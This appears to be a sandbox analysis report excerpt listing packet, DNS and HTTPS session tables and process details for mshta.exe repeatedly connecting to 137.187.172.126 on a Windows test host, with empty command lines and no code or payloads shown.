| Mar 18, 2025 11:09:16.624973059 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.625036001 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.625052929 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.625102997 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.625114918 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.625170946 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.625771999 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.625788927 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.625847101 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.625865936 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.625879049 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.625912905 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.626662016 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.626682043 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.626741886 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.626760006 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.626775980 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.626804113 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.627604008 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.627619028 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.627676010 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.627697945 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.627753973 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.627753973 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.628529072 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.628556013 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.628611088 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.628633022 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.628644943 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.628691912 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.632177114 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.632191896 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.632278919 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.632297993 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.632365942 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.710859060 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.710886002 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.710962057 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.710994959 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.711010933 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.711056948 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.711361885 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.711380959 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.711432934 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.711446047 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.711483002 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.711733103 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.711749077 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.711810112 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.711822033 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.711867094 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.712192059 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.712207079 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.712260008 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.712268114 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.712302923 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.712321043 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.712565899 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.712583065 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.712640047 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.712646961 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.712688923 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.712857962 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.712910891 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.712913990 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Mar 18, 2025 11:09:16.712965012 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.713017941 CET | 49991 | 443 | 192.168.2.18 | 137.187.172.126 |
| Mar 18, 2025 11:09:16.713035107 CET | 443 | 49991 | 137.187.172.126 | 192.168.2.18 |
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Mar 18, 2025 11:09:04.062263966 CET | 50777 | 53 | 192.168.2.18 | 1.1.1.1 |
| Mar 18, 2025 11:09:04.073239088 CET | 53 | 50777 | 1.1.1.1 | 192.168.2.18 |
| Mar 18, 2025 11:09:05.184762955 CET | 61411 | 53 | 192.168.2.18 | 1.1.1.1 |
| Mar 18, 2025 11:09:05.282812119 CET | 53 | 61411 | 1.1.1.1 | 192.168.2.18 |
| Mar 18, 2025 11:09:06.256846905 CET | 64131 | 53 | 192.168.2.18 | 1.1.1.1 |
| Mar 18, 2025 11:09:06.260940075 CET | 65305 | 53 | 192.168.2.18 | 1.1.1.1 |
| Mar 18, 2025 11:09:06.264369965 CET | 53 | 64131 | 1.1.1.1 | 192.168.2.18 |
| Mar 18, 2025 11:09:06.268173933 CET | 53 | 65305 | 1.1.1.1 | 192.168.2.18 |
| Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|
| Mar 18, 2025 11:09:04.062263966 CET | 192.168.2.18 | 1.1.1.1 | 0xf86e | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Mar 18, 2025 11:09:05.184762955 CET | 192.168.2.18 | 1.1.1.1 | 0xc07f | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Mar 18, 2025 11:09:06.256846905 CET | 192.168.2.18 | 1.1.1.1 | 0xf454 | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Mar 18, 2025 11:09:06.260940075 CET | 192.168.2.18 | 1.1.1.1 | 0x32f | Standard query (0) | A (IP address) | IN (0x0001) | false |
| Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|---|---|
| Mar 18, 2025 11:09:04.073239088 CET | 1.1.1.1 | 192.168.2.18 | 0xf86e | No error (0) | 188.114.97.3 | A (IP address) | IN (0x0001) | false | ||
| Mar 18, 2025 11:09:04.073239088 CET | 1.1.1.1 | 192.168.2.18 | 0xf86e | No error (0) | 188.114.96.3 | A (IP address) | IN (0x0001) | false | ||
| Mar 18, 2025 11:09:05.282812119 CET | 1.1.1.1 | 192.168.2.18 | 0xc07f | No error (0) | 137.187.172.126 | A (IP address) | IN (0x0001) | false | ||
| Mar 18, 2025 11:09:06.264369965 CET | 1.1.1.1 | 192.168.2.18 | 0xf454 | No error (0) | 104.18.11.207 | A (IP address) | IN (0x0001) | false | ||
| Mar 18, 2025 11:09:06.264369965 CET | 1.1.1.1 | 192.168.2.18 | 0xf454 | No error (0) | 104.18.10.207 | A (IP address) | IN (0x0001) | false | ||
| Mar 18, 2025 11:09:06.268173933 CET | 1.1.1.1 | 192.168.2.18 | 0x32f | No error (0) | kit.fontawesome.com.cdn.cloudflare.net | CNAME (Canonical name) | IN (0x0001) | false | ||
| Mar 18, 2025 11:09:06.268173933 CET | 1.1.1.1 | 192.168.2.18 | 0x32f | No error (0) | 104.18.40.68 | A (IP address) | IN (0x0001) | false | ||
| Mar 18, 2025 11:09:06.268173933 CET | 1.1.1.1 | 192.168.2.18 | 0x32f | No error (0) | 172.64.147.188 | A (IP address) | IN (0x0001) | false |
|
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 0 | 192.168.2.18 | 49908 | 188.114.97.3 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:04 UTC | 370 | OUT | |
| 2025-03-18 10:09:05 UTC | 892 | IN | |
| 2025-03-18 10:09:05 UTC | 5 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 1 | 192.168.2.18 | 49917 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:05 UTC | 319 | OUT | |
| 2025-03-18 10:09:06 UTC | 635 | IN | |
| 2025-03-18 10:09:06 UTC | 7557 | IN | |
| 2025-03-18 10:09:06 UTC | 16384 | IN | |
| 2025-03-18 10:09:06 UTC | 16384 | IN | |
| 2025-03-18 10:09:06 UTC | 5266 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 2 | 192.168.2.18 | 49924 | 104.18.11.207 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:06 UTC | 399 | OUT | |
| 2025-03-18 10:09:06 UTC | 953 | IN | |
| 2025-03-18 10:09:06 UTC | 416 | IN | |
| 2025-03-18 10:09:06 UTC | 1369 | IN | |
| 2025-03-18 10:09:06 UTC | 1369 | IN | |
| 2025-03-18 10:09:06 UTC | 1369 | IN | |
| 2025-03-18 10:09:06 UTC | 1369 | IN | |
| 2025-03-18 10:09:06 UTC | 1369 | IN | |
| 2025-03-18 10:09:06 UTC | 1369 | IN | |
| 2025-03-18 10:09:06 UTC | 1369 | IN | |
| 2025-03-18 10:09:06 UTC | 1369 | IN | |
| 2025-03-18 10:09:06 UTC | 1369 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 3 | 192.168.2.18 | 49925 | 104.18.40.68 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:06 UTC | 371 | OUT | |
| 2025-03-18 10:09:06 UTC | 469 | IN | |
| 2025-03-18 10:09:06 UTC | 9 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 4 | 192.168.2.18 | 49923 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:06 UTC | 406 | OUT | |
| 2025-03-18 10:09:06 UTC | 406 | IN | |
| 2025-03-18 10:09:06 UTC | 999 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 5 | 192.168.2.18 | 49922 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:06 UTC | 401 | OUT | |
| 2025-03-18 10:09:06 UTC | 406 | IN | |
| 2025-03-18 10:09:06 UTC | 825 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 6 | 192.168.2.18 | 49932 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:07 UTC | 417 | OUT | |
| 2025-03-18 10:09:07 UTC | 404 | IN | |
| 2025-03-18 10:09:07 UTC | 95 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 7 | 192.168.2.18 | 49931 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:07 UTC | 412 | OUT | |
| 2025-03-18 10:09:07 UTC | 406 | IN | |
| 2025-03-18 10:09:07 UTC | 484 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 8 | 192.168.2.18 | 49937 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:08 UTC | 423 | OUT | |
| 2025-03-18 10:09:08 UTC | 406 | IN | |
| 2025-03-18 10:09:08 UTC | 275 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 9 | 192.168.2.18 | 49938 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:08 UTC | 415 | OUT | |
| 2025-03-18 10:09:08 UTC | 406 | IN | |
| 2025-03-18 10:09:08 UTC | 307 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 10 | 192.168.2.18 | 49941 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:09 UTC | 414 | OUT | |
| 2025-03-18 10:09:09 UTC | 405 | IN | |
| 2025-03-18 10:09:09 UTC | 127 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 11 | 192.168.2.18 | 49942 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:09 UTC | 413 | OUT | |
| 2025-03-18 10:09:09 UTC | 407 | IN | |
| 2025-03-18 10:09:09 UTC | 1359 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 12 | 192.168.2.18 | 49946 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:09 UTC | 416 | OUT | |
| 2025-03-18 10:09:09 UTC | 406 | IN | |
| 2025-03-18 10:09:09 UTC | 287 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 13 | 192.168.2.18 | 49947 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:09 UTC | 409 | OUT | |
| 2025-03-18 10:09:09 UTC | 406 | IN | |
| 2025-03-18 10:09:09 UTC | 662 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 14 | 192.168.2.18 | 49950 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:10 UTC | 413 | OUT | |
| 2025-03-18 10:09:10 UTC | 404 | IN | |
| 2025-03-18 10:09:10 UTC | 96 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 15 | 192.168.2.18 | 49952 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:10 UTC | 425 | OUT | |
| 2025-03-18 10:09:10 UTC | 404 | IN | |
| 2025-03-18 10:09:10 UTC | 95 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 16 | 192.168.2.18 | 49956 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:11 UTC | 423 | OUT | |
| 2025-03-18 10:09:11 UTC | 405 | IN | |
| 2025-03-18 10:09:11 UTC | 249 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 17 | 192.168.2.18 | 49957 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:11 UTC | 413 | OUT | |
| 2025-03-18 10:09:11 UTC | 406 | IN | |
| 2025-03-18 10:09:11 UTC | 270 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 18 | 192.168.2.18 | 49962 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:11 UTC | 421 | OUT | |
| 2025-03-18 10:09:12 UTC | 406 | IN | |
| 2025-03-18 10:09:12 UTC | 765 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 19 | 192.168.2.18 | 49963 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:12 UTC | 429 | OUT | |
| 2025-03-18 10:09:12 UTC | 406 | IN | |
| 2025-03-18 10:09:12 UTC | 557 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 20 | 192.168.2.18 | 49969 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:12 UTC | 433 | OUT | |
| 2025-03-18 10:09:12 UTC | 405 | IN | |
| 2025-03-18 10:09:12 UTC | 255 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 21 | 192.168.2.18 | 49970 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:12 UTC | 416 | OUT | |
| 2025-03-18 10:09:12 UTC | 406 | IN | |
| 2025-03-18 10:09:12 UTC | 365 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 22 | 192.168.2.18 | 49976 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:13 UTC | 400 | OUT | |
| 2025-03-18 10:09:13 UTC | 406 | IN | |
| 2025-03-18 10:09:13 UTC | 434 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 23 | 192.168.2.18 | 49977 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:13 UTC | 401 | OUT | |
| 2025-03-18 10:09:13 UTC | 408 | IN | |
| 2025-03-18 10:09:13 UTC | 7784 | IN | |
| 2025-03-18 10:09:13 UTC | 1031 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 24 | 192.168.2.18 | 49982 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:14 UTC | 407 | OUT | |
| 2025-03-18 10:09:14 UTC | 406 | IN | |
| 2025-03-18 10:09:14 UTC | 896 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 25 | 192.168.2.18 | 49984 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:14 UTC | 396 | OUT | |
| 2025-03-18 10:09:14 UTC | 406 | IN | |
| 2025-03-18 10:09:14 UTC | 546 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 26 | 192.168.2.18 | 49987 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:14 UTC | 420 | OUT | |
| 2025-03-18 10:09:14 UTC | 408 | IN | |
| 2025-03-18 10:09:14 UTC | 8074 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 27 | 192.168.2.18 | 49988 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:14 UTC | 403 | OUT | |
| 2025-03-18 10:09:15 UTC | 406 | IN | |
| 2025-03-18 10:09:15 UTC | 744 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 28 | 192.168.2.18 | 49989 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:15 UTC | 391 | OUT | |
| 2025-03-18 10:09:15 UTC | 408 | IN | |
| 2025-03-18 10:09:15 UTC | 4128 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 29 | 192.168.2.18 | 49990 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:15 UTC | 392 | OUT | |
| 2025-03-18 10:09:15 UTC | 402 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 30 | 192.168.2.18 | 49991 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:16 UTC | 392 | OUT | |
| 2025-03-18 10:09:16 UTC | 411 | IN | |
| 2025-03-18 10:09:16 UTC | 15973 | IN | |
| 2025-03-18 10:09:16 UTC | 16384 | IN | |
| 2025-03-18 10:09:16 UTC | 16384 | IN | |
| 2025-03-18 10:09:16 UTC | 8192 | IN | |
| 2025-03-18 10:09:16 UTC | 16384 | IN | |
| 2025-03-18 10:09:16 UTC | 16384 | IN | |
| 2025-03-18 10:09:16 UTC | 16384 | IN | |
| 2025-03-18 10:09:16 UTC | 16352 | IN | |
| 2025-03-18 10:09:16 UTC | 32 | IN | |
| 2025-03-18 10:09:16 UTC | 16384 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 31 | 192.168.2.18 | 49992 | 137.187.172.126 | 443 | 2316 | C:\Windows\System32\mshta.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-03-18 10:09:16 UTC | 403 | OUT | |
| 2025-03-18 10:09:16 UTC | 413 | IN | |
| 2025-03-18 10:09:16 UTC | 15971 | IN | |
| 2025-03-18 10:09:16 UTC | 16384 | IN | |
| 2025-03-18 10:09:16 UTC | 16384 | IN | |
| 2025-03-18 10:09:16 UTC | 8192 | IN | |
| 2025-03-18 10:09:16 UTC | 16384 | IN | |
| 2025-03-18 10:09:16 UTC | 16384 | IN | |
| 2025-03-18 10:09:16 UTC | 16384 | IN | |
| 2025-03-18 10:09:16 UTC | 3143 | IN |
Click to jump to process
Click to jump to process
back
Click to dive into process behavior distribution
Click to jump to process
| Target ID: | 0 |
| Start time: | 06:07:51 |
| Start date: | 18/03/2025 |
| Path: | C:\Windows\System32\notepad.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff669280000 |
| File size: | 201'216 bytes |
| MD5 hash: | 27F71B12CB585541885A31BE22F61C83 |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | false |
| Target ID: | 9 |
| Start time: | 06:09:02 |
| Start date: | 18/03/2025 |
| Path: | C:\Windows\System32\mshta.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff6b8f50000 |
| File size: | 14'848 bytes |
| MD5 hash: | 0B4340ED812DC82CE636C00FA5C9BEF2 |
| Has elevated privileges: | false |
| Has administrator privileges: | false |
| Programmed in: | C, C++ or other language |
| Reputation: | moderate |
| Has exited: | false |
⊘No disassembly
